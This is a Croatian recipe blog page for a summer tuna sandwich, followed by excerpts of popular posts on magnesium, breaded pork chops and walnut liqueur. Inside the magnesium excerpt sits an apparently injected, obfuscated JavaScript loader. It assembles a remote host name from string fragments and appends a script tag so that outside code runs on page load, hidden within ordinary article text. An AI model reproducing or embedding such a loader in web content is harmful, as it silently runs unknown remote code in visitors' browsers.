LJETNI SENDVIČ OD TUNE




Ljetni sendvič od tune 



Ljeti se način na koji kuhamo gotovo u potpunosti mijenja. Čim temperature prijeđu trideset stupnjeva, rijetko tko želi provoditi sate pokraj štednjaka ili uključivati pećnicu. Umjesto složenih jela, biramo recepte koji se pripremaju brzo, lako se prenose i jednako su ukusni kod kuće, na plaži, u uredu ili tijekom piknika u prirodi. Upravo zato sendvič od tune već godinama ima posebno mjesto među omiljenim ljetnim obrocima.





Ljetni sendvič od tune 


Sastojci:

  • 2 konzerve kvalitetne tune u maslinovu ulju (oko 160 g ocijeđene tune)
  • 4 veće kriške kruha s kiselim tijestom, ciabatta ili focaccia
  • 3 žlice grčkog jogurta
  • 1 žlica majoneze
  • 1 žličica Dijon senfa
  • sok pola limuna
  • naribana korica pola limuna
  • 1 manja stabljika celera, sitno nasjeckana
  • 2 mlada luka, sitno narezana
  • šaka sitno nasjeckanog svježeg vlasca
  • nekoliko grančica kopra ili peršina
  • šaka rikole
  • nekoliko listova hrskave zelene salate
  • 1 rajčica, narezana na tanke ploške
  • nekoliko tankih ploški krastavca
  • nekoliko kolutića ukiseljenog crvenog luka (po želji)
  • maslinovo ulje
  • sol i svježe mljeveni papar



Priprema:

  • Tunjevinu dobro ocijedite i usitnite vilicom u većoj zdjeli. Dodajte grčki jogurt, majonezu, Dijon senf, limunov sok i naribanu koricu limuna pa sve dobro promiješajte dok ne dobijete kremastu smjesu.
  • Umiješajte sitno nasjeckani celer, mladi luk, vlasac i kopar ili peršin. Po potrebi začinite s malo soli i svježe mljevenim paprom. Smjesu stavite u hladnjak na desetak minuta kako bi se okusi povezali.
  • Za to vrijeme kriške kruha kratko prepecite na grill tavi, u tosteru ili pećnici. Lagano ih pokapajte maslinovim uljem kako bi korica postala hrskava, a sredina ostala mekana.
  • Na donju polovicu kruha rasporedite listove zelene salate i rikolu, zatim obilno nanesite kremastu salatu od tune. Dodajte ploške rajčice, krastavca i, po želji, nekoliko kolutića ukiseljenog crvenog luka koji će sendviču dati dodatnu svježinu i blagu kiselost.
  • Poklopite drugom kriškom kruha, lagano pritisnite i prerežite napola. Poslužite odmah ili zamotajte u papir za pečenje ako ga nosite na posao, plažu ili piknik.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više